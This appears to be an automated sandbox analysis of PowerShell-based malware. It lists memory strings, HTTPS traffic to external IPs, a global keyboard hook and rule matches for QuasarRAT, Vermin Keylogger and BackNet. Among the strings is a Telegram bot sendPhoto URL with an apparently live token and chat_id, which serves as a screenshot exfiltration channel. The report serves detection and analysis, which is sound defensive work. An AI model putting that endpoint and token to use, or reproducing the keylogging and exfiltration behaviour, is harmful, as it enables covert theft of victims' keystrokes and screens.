Source: powershell.exe, 00000006.00000002.1594286288.000001BEFA2C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ns.adobe.hotosh
Source: powershell.exe, 00000005.00000002.1386901887.0000027F90081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F81B22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1386901887.0000027F901DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE3B0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1583652727.000001BEF2163000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.2591788897.000002254773D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE26CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE28F2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE28F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE26AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE26CA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE28F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE26AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.datacontract.org/2004/07/Logger
Source: powershell.exe, 00000005.00000002.1372476794.0000027F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE20F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2591788897.0000022547481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.2591788897.000002254773D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.1372476794.0000027F80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE20F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2591788897.0000022547481000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE25DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE25DC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE3341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1599632881.000001BEFA600000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE3341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1599632881.000001BEFA600000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE26FC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1598957271.000001BEFA4CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7813041927:AAFJKTwPluPESj-jsG5TWsi6m7BDKrgz_Rk/sendPhoto?chat_id=-463031
Source: powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.2591788897.000002254773D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net6
Source: powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000005.00000002.1372476794.0000027F81197000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE3341000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE2883000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.is
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE2644000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE2883000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.is/
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE3341000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1599632881.000001BEFA600000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ipwho.is/SSELECT
Source: powershell.exe, 00000006.00000002.1507861844.000001BEE2644000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ipwho.isp
Source: powershell.exe, 00000005.00000002.1386901887.0000027F90081000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1372476794.0000027F81B22000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1507861844.000001BEE3B0C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1583652727.000001BEF2163000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.00000225574F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2591788897.0000022548849000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: powershell.exe, 00000008.00000002.2741051863.0000022557D59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2815409363.00000225603A0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000008.00000002.2741051863.000002255777C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50050 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988

Source: unknown	HTTPS traffic detected: 172.67.74.152:443 -> 192.168.2.10:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.201.57.90:443 -> 192.168.2.10:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49793 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.10:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49957 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49993 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50022 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50025 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50037 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50038 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50040 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50046 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50047 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50050 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50053 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50055 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50056 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50058 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 193.124.205.6:443 -> 192.168.2.10:50059 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Windows user hook set: 0 keyboard low level C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: 8.2.powershell.exe.2255f9c0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 8.2.powershell.exe.2255f9c0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Vermin Keylogger Author: Florian Roth
Source: 8.2.powershell.exe.2255f9c0000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects BackNet samples Author: Florian Roth
Source: 8.2.powershell.exe.22557635510.2.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 8.2.powershell.exe.22557635510.2.unpack, type: UNPACKEDPE	Matched rule: Detects Vermin Keylogger Author: Florian Roth
Source: 8.2.powershell.exe.22557635510.2.unpack, type: UNPACKEDPE	Matched rule: Detects BackNet samples Author: Florian Roth
Source: 8.2.powershell.exe.2255f9c0000.7.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 8.2.powershell.exe.2255f9c0000.7.unpack, type: UNPACKEDPE	Matched rule: Detects Vermin Keylogger Author: Florian Roth
Source: 8.2.powershell.exe.2255f9c0000.7.unpack, type: UNPACKEDPE	Matched rule: Detects BackNet samples Author: Florian Roth
